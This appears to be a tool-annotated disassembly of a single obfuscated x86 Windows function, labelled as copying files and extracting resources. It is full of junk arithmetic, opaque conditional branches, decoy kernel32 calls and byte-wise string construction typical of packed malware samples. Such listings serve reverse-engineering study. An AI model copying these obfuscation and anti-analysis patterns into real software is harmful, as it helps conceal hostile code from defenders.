Function at 0x423a20
Capabilities:
Copy file
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov dword [ebp - 0x10], 0x12ba6
mov dword [ebp - 4], 0x25ff
mov dword [ebp - 0x4c], 0xd81e
mov dword [ebp - 0x3c], 0xb1fa
mov dword [ebp - 0x20], 0x3813
mov dword [ebp - 0x28], 0x12fe0
mov dword [ebp - 0x18], 0x855
mov dword [ebp - 0x74], 0x940c
mov dword [ebp - 0xd4], 0x114e8
mov dword [ebp - 0x50], 0x19e3
mov dword [ebp - 0x40], 0x9893
mov dword [ebp - 0x34], 0xe7bb
mov dword [ebp - 0x14], 0x8617
mov dword [ebp - 8], 0x18416
mov dword [ebp - 0x54], 0x16001
mov dword [ebp - 0x38], 0x681d
mov dword [ebp - 0xc], 0xf2a1
mov dword [ebp - 0x1c], 0x9451
mov dword [ebp - 0x2c], 0x10fdd
mov dword [ebp - 0x30], 0x161ca
mov dword [ebp - 0x24], 0xd1dc
mov dword [ebp - 0x44], 0x131ab
mov dword [ebp - 0x48], 0xe432
mov dword [ebp - 0x78], 0x14013
mov eax, dword [ebp - 0x10]
sub eax, 0x86ec
push eax
mov ecx, dword [ebp - 0x40]
add ecx, 0xba5e
push ecx
mov edx, dword [0xab17f4]
add edx, 0x5ce5
push edx
mov eax, dword [ebp - 0x3c]
add eax, 0xa2ae
push eax
mov ecx, dword [ebp - 0x14]
add ecx, 0x69f1
push ecx
mov edx, dword [0xab17f4]
sub edx, 0x9e56
push edx
mov eax, dword [ebp - 0xc]
add eax, 0x3dd1
push eax
mov ecx, dword [ebp - 0x30]
sub ecx, 0x3904
push ecx
call fcn.0041d850
add esp, 0x20
mov edx, dword [0xab17f4]
sub edx, 0x751d
push edx
mov eax, dword [ebp - 0xd4]
add eax, 0x3e09
push eax
mov ecx, dword [ebp - 0x18]
add ecx, 0x16e67
push ecx
mov edx, dword [0xab1284]
add edx, 0x46e6
push edx
mov eax, dword [0xab128c]
sub eax, 0x47e0
push eax
mov ecx, dword [ebp - 0x14]
sub ecx, 0xa96
push ecx
mov edx, dword [0xab1284]
add edx, 0x22b0
push edx
mov eax, dword [0xab1280]
add eax, 0x922e
push eax
call fcn.0041d850
add esp, 0x20
mov ecx, dword [ebp + 0x20]
and ecx, 0xd440
and ecx, 0x1136
xor ecx, 0x65576350
mov edx, dword [ebp + 0x20]
add edx, 0x6635
xor edx, 0x8f58
mov dword [edx + str.RUZGnHfQluuAfCxMvE], ecx
call fcn.00403b80
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 8]
jge 0x423c8e
mov ecx, dword [0xab1634]
cmp ecx, dword [ebp - 0x2c]
jge 0x423be6
mov dword [ebp - 0x84], 1
jmp 0x423bf0
mov dword [ebp - 0x84], 0
mov edx, dword [0xab1290]
cmp edx, dword [0xab15c8]
jge 0x423c07
mov dword [ebp - 0x7c], 1
jmp 0x423c0e
mov dword [ebp - 0x7c], 0
mov eax, dword [0xab1638]
add eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x54]
jge 0x423c24
mov dword [ebp - 0x80], 1
jmp 0x423c2b
mov dword [ebp - 0x80], 0
mov ecx, dword [ebp - 0x7c]
and ecx, dword [ebp - 0x80]
or ecx, dword [ebp - 0x84]
je 0x423c8e
mov edx, dword [0xab1288]
cmp edx, dword [0xab17f4]
jne 0x423c8e
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x50]
jne 0x423c8e
mov ecx, dword [ebp - 0x18]
sub ecx, 1
mov dword [ebp - 0x18], ecx
push 0xa3
push 0x15f8d
push 0x39ee
push 0x820e
push 0xb6de
push 0x10ea
push 0x5115
push 0x1a8d
push 0x18283
call dword [sym.imp.ADVAPI32.dll_RegLoadMUIStringW]
add esp, 0x24
mov edx, dword [ebp + 0x10]
add edx, 0xd4e7
xor edx, 0xf276
xor edx, 0x149ac
mov eax, dword [ebp + 0x18]
or eax, 0x226b
sub eax, 0xd67e
xor eax, 0xffff8ce2
mov byte [eax + str.RUZGnHfQluuAfCxMvE], dl
call fcn.00403b80
mov ecx, dword [ebp + 0x1c]
xor ecx, 0xbbf1
add ecx, 0xeea3
xor ecx, 0x182e6
mov edx, dword [ebp + 0x1c]
xor edx, 0xfdf7
xor edx, 0xd579
mov byte [edx + str.RUZGnHfQluuAfCxMvE], cl
mov eax, dword [ebp - 0x18]
sub eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x10]
sub ecx, 1
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x3c]
add edx, 0x5270
push edx
mov eax, dword [ebp - 0x14]
add eax, 0x56c9
push eax
mov ecx, dword [ebp - 0xc]
sub ecx, 0x4656
push ecx
mov edx, dword [ebp - 0x48]
sub edx, 0x335e
push edx
mov eax, dword [ebp - 0x74]
sub eax, 0x4573
push eax
mov ecx, dword [ebp - 0x2c]
add ecx, 0x4d1f
push ecx
mov edx, dword [ebp - 0x18]
add edx, 0x41a3
push edx
mov eax, dword [0xab14bc]
sub eax, 0x6df2
push eax
mov ecx, dword [ebp - 8]
sub ecx, 0xa30
push ecx
call fcn.0041d180
add esp, 0x24
mov edx, dword [0xab1290]
imul edx, dword [0xab17f4]
cmp edx, dword [ebp - 0x40]
jge 0x423da8
mov eax, dword [0xab1280]
cmp eax, dword [0xab14bc]
jne 0x423da8
mov ecx, dword [ebp - 0x34]
cmp ecx, dword [0xab1634]
jne 0x423da8
push 0x5051
push 0x8fae
push 0xb2e9
call dword [sym.imp.KERNEL32.dll_LockResource]
add esp, 0xc
mov edx, dword [ebp - 0x30]
add edx, 1
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x3c]
sub eax, 0xd40
push eax
mov ecx, dword [ebp - 0x1c]
add ecx, 0xbea0
push ecx
mov edx, dword [0xab1638]
add edx, 0x88ae
push edx
mov eax, dword [ebp - 0x14]
add eax, 0xce91
push eax
mov ecx, dword [ebp - 0x14]
add ecx, 0x69f1
push ecx
mov edx, dword [ebp - 0x78]
sub edx, 0xc492
push edx
mov eax, dword [ebp - 0x10]
add eax, 0x4cd
push eax
mov ecx, dword [0xab1634]
add ecx, 0x8242
push ecx
call fcn.0041d850
add esp, 0x20
mov edx, dword [0xab17f4]
add edx, 0x32b1
push edx
mov eax, dword [ebp - 0x10]
add eax, 0x2fa9
push eax
mov ecx, dword [ebp - 0xc]
add ecx, 0x78d9
push ecx
call fcn.00416380
add esp, 0xc
mov dword [ebp - 0x58], 0
jmp 0x423e3d
mov edx, dword [ebp - 0x58]
add edx, 1
mov dword [ebp - 0x58], edx
mov eax, dword [ebp - 0x50]
sub eax, 0x19e2
cmp dword [ebp - 0x58], eax
jge 0x423ed3
mov ecx, dword [0xab15c8]
cmp ecx, dword [0xab1294]
jge 0x423e68
mov dword [ebp - 0x88], 1
jmp 0x423e72
mov dword [ebp - 0x88], 0
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 4]
jge 0x423e8f
mov dword [ebp - 0x8c], 1
jmp 0x423e99
mov dword [ebp - 0x8c], 0
mov ecx, dword [ebp - 0x88]
or ecx, dword [ebp - 0x8c]
mov edx, dword [ebp - 8]
xor edx, dword [ebp - 0x28]
or ecx, edx
mov dword [ebp - 0xd8], ecx
mov eax, dword [ebp - 0x28]
add eax, 1
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0xd8], 0
je 0x423ece
mov ecx, dword [ebp - 0x24]
sub ecx, 1
mov dword [ebp - 0x24], ecx
jmp 0x423e34
mov edx, 0x8f96
sub edx, dword [ebp + 8]
xor edx, 0x37c6
xor edx, 0x335b
mov eax, dword [ebp + 8]
xor eax, 0x88
xor eax, 0x8a28
mov byte [eax + str.RUZGnHfQluuAfCxMvE], dl
mov ecx, dword [ebp - 0x1c]
add ecx, 0x7019
push ecx
mov edx, dword [ebp - 0x38]
add edx, 0x74c3
push edx
mov eax, dword [0xab1288]
add eax, 0x2d6b
push eax
mov ecx, dword [0xab1294]
sub ecx, 0x12e
push ecx
mov edx, dword [ebp - 4]
add edx, 0x2899
push edx
mov eax, dword [ebp - 8]
sub eax, 0x271a
push eax
mov ecx, dword [ebp - 0x30]
sub ecx, 0x117d5
push ecx
mov edx, dword [0xab1638]
add edx, 0xcec
push edx
mov eax, dword [0xab1298]
add eax, 0xc3f7
push eax
call fcn.0041d180
add esp, 0x24
mov ecx, dword [ebp + 0x20]
or ecx, 0x4044
xor ecx, 0x69c9
mov edx, dword [ebp + 0xc]
add edx, 0x70e9
xor edx, 0xc7fc
mov byte [edx + str.RUZGnHfQluuAfCxMvE], cl
mov dword [ebp - 0x5c], 0
jmp 0x423f99
mov eax, dword [ebp - 0x5c]
add eax, 1
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x38]
sub ecx, 0x681c
cmp dword [ebp - 0x5c], ecx
jge 0x4240fe
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp - 0x28]
jge 0x423fbf
mov dword [ebp - 0x90], 1
jmp 0x423fc9
mov dword [ebp - 0x90], 0
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0xdc], eax
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xe0], ecx
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0xdc]
cmp eax, dword [ebp - 0xe0]
jge 0x423ffe
mov dword [ebp - 0x94], 1
jmp 0x424008
mov dword [ebp - 0x94], 0
mov ecx, dword [ebp - 0x90]
and ecx, dword [ebp - 0x94]
je 0x4240f9
mov edx, dword [0xab15c8]
mov dword [ebp - 0xe4], edx
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0xe8], eax
mov ecx, dword [ebp - 0x4c]
add ecx, 1
mov dword [ebp - 0x4c], ecx
mov edx, dword [0xab15c8]
add edx, 1
mov dword [0xab15c8], edx
mov eax, dword [ebp - 0xe4]
cmp eax, dword [ebp - 0xe8]
jge 0x424061
mov dword [ebp - 0x98], 1
jmp 0x42406b
mov dword [ebp - 0x98], 0
mov ecx, dword [ebp - 0xc]
or ecx, dword [0xab1634]
and ecx, dword [ebp - 0x98]
mov dword [ebp - 0xec], ecx
mov edx, dword [ebp - 0xc]
sub edx, 1
mov dword [ebp - 0xc], edx
cmp dword [ebp - 0xec], 0
je 0x4240f9
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x50]
jne 0x4240f9
mov ecx, dword [ebp - 0x14]
cmp ecx, dword [0xab1290]
jne 0x4240f9
mov edx, dword [0xab1638]
cmp edx, dword [ebp - 0x28]
jne 0x4240f9
push 0x17423
push 0x129b0
push 0x62e2
push 0x14c5c
push 0x17e1f
push 0x1538d
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
add esp, 0x18
mov eax, dword [ebp - 0x24]
add eax, 1
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x30]
or edx, dword [ebp - 0x3c]
or edx, ecx
je 0x4240f9
mov eax, dword [ebp - 4]
sub eax, 1
mov dword [ebp - 4], eax
jmp 0x423f90
mov dword [ebp - 0x60], 0
jmp 0x424110
mov ecx, dword [ebp - 0x60]
add ecx, 1
mov dword [ebp - 0x60], ecx
mov edx, dword [ebp - 0x40]
sub edx, 0x9892
cmp dword [ebp - 0x60], edx
jge 0x424160
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 8]
cmp eax, dword [0xab15c4]
jge 0x42415e
mov ecx, dword [ebp - 0x34]
cmp ecx, dword [ebp - 4]
jne 0x42415e
mov edx, dword [ebp - 0x74]
cmp edx, dword [ebp - 0x28]
jne 0x42415e
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x18]
jne 0x42415e
mov ecx, dword [0xab17f4]
cmp ecx, dword [ebp - 0x24]
jne 0x42415e
call dword [sym.imp.KERNEL32.dll_TrySubmitThreadpoolCallback]
mov edx, dword [ebp - 0x2c]
add edx, 1
mov dword [ebp - 0x2c], edx
jmp 0x424107
mov eax, dword [ebp + 0x1c]
xor eax, 0x2a31
xor eax, 0x2d2
mov ecx, dword [ebp + 0x14]
or ecx, 0x671c
add ecx, 0xd9b0
xor ecx, 0x1495c
mov byte [ecx + str.RUZGnHfQluuAfCxMvE], al
mov edx, dword [0xab1298]
cmp edx, dword [0xab1638]
jge 0x42419f
mov eax, dword [ebp - 0x20]
sub eax, 1
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp + 0x10]
add ecx, 0x5a1
xor ecx, 0x6f6689ae
mov edx, dword [ebp + 0x20]
add edx, 0x7f70
and edx, 0xda36
add edx, 0xde76
xor edx, 0x1668c
mov dword [edx + str.RUZGnHfQluuAfCxMvE], ecx
mov dword [ebp - 0x64], 0
jmp 0x4241e1
mov eax, dword [ebp - 0x64]
add eax, 1
mov dword [ebp - 0x64], eax
mov ecx, dword [ebp - 0x14]
sub ecx, 0x8616
cmp dword [ebp - 0x64], ecx
jge 0x4241fa
mov edx, dword [ebp - 0x20]
sub edx, 1
mov dword [ebp - 0x20], edx
jmp 0x4241d8
mov eax, dword [ebp + 0x20]
and eax, 0xec99
or eax, 0xfd50
xor eax, 0xfd6d
mov ecx, dword [ebp + 0x24]
add ecx, 0x3e76
xor ecx, 0xba98
mov byte [ecx + str.RUZGnHfQluuAfCxMvE], al
mov edx, dword [ebp - 0x24]
sub edx, 1
mov dword [ebp - 0x24], edx
mov eax, dword [ebp + 0x18]
sub eax, 0x4664
xor eax, 0xfffffaa7
mov ecx, dword [ebp + 0x18]
add ecx, 0x101c
xor ecx, 0xbaa7
xor ecx, 0xeb88
mov byte [ecx + str.RUZGnHfQluuAfCxMvE], al
mov edx, dword [ebp - 0x10]
sub edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xf0], eax
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0xf4], ecx
mov edx, dword [ebp - 0x38]
add edx, 1
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x1c]
sub eax, 1
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0xf0]
cmp ecx, dword [ebp - 0xf4]
jge 0x424593
mov edx, dword [ebp - 0x4c]
cmp edx, dword [ebp - 8]
jne 0x424593
mov eax, dword [ebp - 0x2c]
cmp eax, dword [0xab1638]
jne 0x424593
mov ecx, dword [0xab1280]
sub ecx, 1
mov dword [0xab1280], ecx
mov edx, dword [ebp - 0x20]
sub edx, 1
mov dword [ebp - 0x20], edx
mov eax, dword [0xab1280]
add eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x28]
jge 0x424593
mov ecx, dword [0xab1294]
cmp ecx, dword [ebp - 0x10]
jne 0x424593
mov edx, dword [ebp - 0x40]
cmp edx, dword [0xab1290]
jne 0x424593
push 0xd88c
push 0x5db8
push 0x2d3a
call dword [sym.imp.KERNEL32.dll_InterlockedPushEntrySList]
add esp, 0xc
mov eax, dword [0xab1638]
cmp eax, dword [0xab1288]
jge 0x424585
mov ecx, dword [ebp - 0x4c]
cmp ecx, dword [0xab15c4]
jne 0x424585
mov edx, dword [ebp - 0x44]
cmp edx, dword [ebp - 0x3c]
jne 0x424585
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0xc]
jne 0x424585
mov ecx, dword [ebp - 0x2c]
cmp ecx, dword [ebp - 4]
jne 0x424585
mov edx, dword [ebp - 0x20]
cmp edx, dword [ebp - 4]
jne 0x424585
mov eax, dword [0xab1298]
mov dword [ebp - 0xf8], eax
mov ecx, dword [ebp - 0x54]
mov dword [ebp - 0xfc], ecx
mov edx, dword [0xab1298]
add edx, 1
mov dword [0xab1298], edx
mov eax, dword [ebp - 0xf8]
cmp eax, dword [ebp - 0xfc]
jge 0x424585
mov ecx, dword [0xab1634]
cmp ecx, dword [0xab1290]
jge 0x4243aa
mov dword [ebp - 0x9c], 1
jmp 0x4243b4
mov dword [ebp - 0x9c], 0
mov edx, dword [0xab1638]
cmp edx, dword [ebp - 8]
jge 0x4243cb
mov dword [ebp - 0xa0], 1
jmp 0x4243d5
mov dword [ebp - 0xa0], 0
mov eax, dword [0xab1284]
cmp eax, dword [ebp - 0x10]
jge 0x4243eb
mov dword [ebp - 0xa4], 1
jmp 0x4243f5
mov dword [ebp - 0xa4], 0
mov ecx, dword [ebp - 0x9c]
and ecx, dword [ebp - 0xa0]
and ecx, dword [ebp - 0xa4]
je 0x424585
push 0x3f0e
push 0x5ab0
push 0x12330
push 0xa33b
push 0x138d7
push 0x3bdc
push 0x31f5
call dword [sym.imp.KERNEL32.dll_CreateSymbolicLinkTransactedA]
add esp, 0x1c
mov edx, dword [ebp - 0x2c]
cmp edx, dword [0xab1290]
jge 0x424450
mov dword [ebp - 0xa8], 1
jmp 0x42445a
mov dword [ebp - 0xa8], 0
mov eax, dword [0xab1284]
cmp eax, dword [ebp - 0x30]
jge 0x424470
mov dword [ebp - 0xac], 1
jmp 0x42447a
mov dword [ebp - 0xac], 0
mov ecx, dword [ebp - 0xa8]
or ecx, dword [ebp - 0xac]
je 0x424585
mov edx, dword [ebp - 4]
xor edx, dword [ebp - 0x34]
mov dword [ebp - 0x100], edx
mov eax, dword [0xab15c8]
mov dword [ebp - 0x104], eax
mov ecx, dword [ebp - 0x34]
sub ecx, 1
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 4]
sub edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x100]
cmp eax, dword [ebp - 0x104]
jge 0x424585
mov ecx, dword [0xab128c]
mov dword [ebp - 0x108], ecx
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x10c], edx
mov eax, dword [0xab128c]
sub eax, 1
mov dword [0xab128c], eax
mov ecx, dword [ebp - 0x108]
cmp ecx, dword [ebp - 0x10c]
jge 0x424503
mov dword [ebp - 0xb0], 1
jmp 0x42450d
mov dword [ebp - 0xb0], 0
mov edx, dword [0xab15c4]
cmp edx, dword [ebp - 0x14]
jge 0x424524
mov dword [ebp - 0xb4], 1
jmp 0x42452e
mov dword [ebp - 0xb4], 0
mov eax, dword [ebp - 0xb0]
and eax, dword [ebp - 0x20]
or eax, dword [ebp - 0xb4]
mov ecx, dword [0xab1634]
imul ecx, dword [0xab1298]
or eax, ecx
je 0x424585
mov edx, dword [0xab1638]
cmp edx, dword [ebp - 0x3c]
jne 0x424585
mov eax, dword [ebp - 0x44]
cmp eax, dword [0xab1284]
jne 0x424585
mov ecx, dword [ebp - 0x18]
add ecx, 1
mov dword [ebp - 0x18], ecx
push 0x6a2c
push 0xedd7
push 0x110c3
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
add esp, 0xc
push 0x14bdc
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoA]
add esp, 4
mov edx, dword [ebp + 0x18]
sub edx, 0xdc2a
xor edx, 0xffff64ef
mov eax, dword [ebp + 0x18]
xor eax, 0x1200
xor eax, 0x5301
mov byte [eax + str.RUZGnHfQluuAfCxMvE], dl
mov dword [ebp - 0x68], 0
jmp 0x4245c7
mov ecx, dword [ebp - 0x68]
add ecx, 1
mov dword [ebp - 0x68], ecx
mov edx, dword [ebp - 0x18]
sub edx, 0x853
cmp dword [ebp - 0x68], edx
jge 0x4245e0
mov eax, dword [ebp - 0x38]
sub eax, 1
mov dword [ebp - 0x38], eax
jmp 0x4245be
mov ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 8]
cmp ecx, dword [0xab128c]
jge 0x4245fa
mov dword [ebp - 0xb8], 1
jmp 0x424604
mov dword [ebp - 0xb8], 0
mov edx, dword [0xab1284]
imul edx, dword [ebp - 0x34]
and edx, dword [ebp - 0xb8]
je 0x42478d
mov eax, dword [0xab1294]
cmp eax, dword [0xab1288]
jge 0x424633
mov dword [ebp - 0xbc], 1
jmp 0x42463d
mov dword [ebp - 0xbc], 0
mov ecx, dword [0xab15c4]
and ecx, dword [ebp - 8]
and ecx, dword [0xab15c8]
and ecx, dword [0xab1634]
or ecx, dword [ebp - 0xbc]
mov dword [ebp - 0x110], ecx
mov edx, dword [0xab15c8]
sub edx, 1
mov dword [0xab15c8], edx
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 0x110], 0
je 0x42478d
mov ecx, dword [ebp - 0x14]
cmp ecx, dword [ebp - 0x54]
jne 0x42478d
mov edx, dword [ebp - 0x40]
cmp edx, dword [ebp - 0xc]
jne 0x42478d
mov eax, dword [0xab1284]
cmp eax, dword [ebp - 0x54]
jne 0x42478d
mov ecx, dword [ebp - 0x78]
cmp ecx, dword [ebp - 8]
jge 0x424766
mov edx, dword [0xab1284]
cmp edx, dword [ebp - 0x1c]
jne 0x424766
mov eax, dword [0xab1294]
cmp eax, dword [ebp - 0x50]
jne 0x424766
mov ecx, dword [ebp - 0x48]
cmp ecx, dword [ebp - 0x24]
jne 0x424766
mov edx, dword [0xab128c]
cmp edx, dword [ebp - 0x34]
jne 0x424766
mov eax, dword [0xab15c4]
cmp eax, dword [0xab17f4]
jne 0x424766
push 0x9d23
push 0x816a
push 0x120c7
push 0xee6d
push 0x15c66
push 0x3751
push 0xde4b
push 0xcb22
call dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
add esp, 0x20
mov ecx, dword [ebp - 0x44]
sub ecx, dword [0xab17f4]
mov edx, dword [ebp - 8]
and edx, dword [ebp - 0x34]
and ecx, edx
mov dword [ebp - 0x114], ecx
mov eax, dword [0xab17f4]
add eax, 1
mov dword [0xab17f4], eax
mov ecx, dword [ebp - 0x44]
sub ecx, 1
mov dword [ebp - 0x44], ecx
cmp dword [ebp - 0x114], 0
je 0x424766
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
push 0x123c6
push 0xbaa0
push 0xd593
push 0xc0e2
push 0x13a34
push 0xb972
call dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
add esp, 0x18
mov eax, 0xa361
sub eax, dword [ebp + 0x1c]
xor eax, 0x7a0b
mov ecx, dword [ebp + 0x18]
or ecx, 0xbb4f
xor ecx, 0xfb41
mov byte [ecx + str.RUZGnHfQluuAfCxMvE], al
mov dword [ebp - 0x6c], 0
jmp 0x4247c1
mov edx, dword [ebp - 0x6c]
add edx, 1
mov dword [ebp - 0x6c], edx
mov eax, dword [ebp - 0xc]
sub eax, 0xf2a0
cmp dword [ebp - 0x6c], eax
jge 0x42483c
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [ebp - 4]
jge 0x4247e2
mov dword [ebp - 0xc0], 1
jmp 0x4247ec
mov dword [ebp - 0xc0], 0
mov edx, dword [ebp - 0x28]
or edx, dword [ebp - 0xc0]
je 0x424837
mov eax, dword [0xab15c4]
cmp eax, dword [0xab128c]
jne 0x424837
mov ecx, dword [ebp - 8]
cmp ecx, dword [ebp - 0x30]
jne 0x424837
mov edx, dword [ebp - 0x48]
sub edx, 1
mov dword [ebp - 0x48], edx
push 0xb855
push 0x9b4d
push 0x6095
push 0x1739a
push 0x161b7
call dword [sym.imp.KERNEL32.dll_CopyFileW]
add esp, 0x14
jmp 0x4247b8
mov eax, dword [ebp - 0xc]
add eax, 0x11c9
push eax
mov ecx, dword [0xab1280]
add ecx, 0x4649
push ecx
mov edx, dword [0xab15c4]
sub edx, 0x87c8
push edx
mov eax, dword [ebp - 0xc]
sub eax, 0x41cd
push eax
mov ecx, dword [0xab1634]
sub ecx, 0x57eb
push ecx
mov edx, dword [ebp - 0x3c]
add edx, 0xab02
push edx
mov eax, dword [ebp - 0x14]
sub eax, 0x3c21
push eax
mov ecx, dword [0xab1288]
add ecx, 0x7c1a
push ecx
mov edx, dword [ebp - 0x14]
add edx, 0xf3cf
push edx
call fcn.0041d180
add esp, 0x24
call fcn.00403b80
mov dword [ebp - 0x70], 0
jmp 0x4248be
mov eax, dword [ebp - 0x70]
add eax, 1
mov dword [ebp - 0x70], eax
mov ecx, dword [ebp - 0x10]
sub ecx, 0x12ba3
cmp dword [ebp - 0x70], ecx
jge 0x4248d7
mov edx, dword [ebp - 0x18]
add edx, 1
mov dword [ebp - 0x18], edx
jmp 0x4248b5
call fcn.00403b80
mov eax, dword [ebp + 0x1c]
and eax, 0x8c60
add eax, 0x332
or eax, 0xf9d
xor eax, 0xfd4
mov ecx, dword [ebp + 0x14]
xor ecx, 0x9df5
xor ecx, 0x946c
mov byte [ecx + str.RUZGnHfQluuAfCxMvE], al
mov edx, dword [ebp - 0x48]
sub edx, 0x330d
push edx
mov eax, dword [ebp - 0x28]
add eax, 0x5156
push eax
call fcn.0041d050
add esp, 8
mov eax, str.RUZGnHfQluuAfCxMvE
jmp 0x424aae
mov esp, ebp
pop ebp
ret